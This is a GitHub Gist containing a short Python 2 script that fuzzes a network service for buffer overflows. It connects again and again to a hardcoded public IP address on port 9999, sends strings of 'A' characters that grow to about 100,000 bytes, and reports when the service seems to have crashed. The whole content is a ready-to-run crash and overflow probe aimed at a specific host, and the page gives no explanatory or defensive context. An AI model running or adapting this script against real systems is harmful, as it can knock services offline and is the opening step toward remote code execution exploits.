Last active
June 28, 2020 14:49
-
-
Save andripwn/07625b44c9ac92832b980a9a7d725192 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
#https://github.com/gh0x0st | |
#[email protected] | |
import sys,socket | |
address = '107.22.193.119' | |
port = 9999 | |
buffer = ['\x41'] | |
counter = 1000 | |
while len(buffer)<= 100: | |
buffer.append('\x41'*counter) | |
counter=counter+1000 | |
try: | |
for string in buffer: | |
print '[+] Sending %s bytes...' % len(string) | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
connect=s.connect((address,port)) | |
s.recv(1024) | |
s.send(string + '\r\n') | |
print '[+] Done' | |
except: | |
print '[!] Unable to connect to the application. You may have crashed it.' | |
sys.exit(0) | |
finally: | |
s.close() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment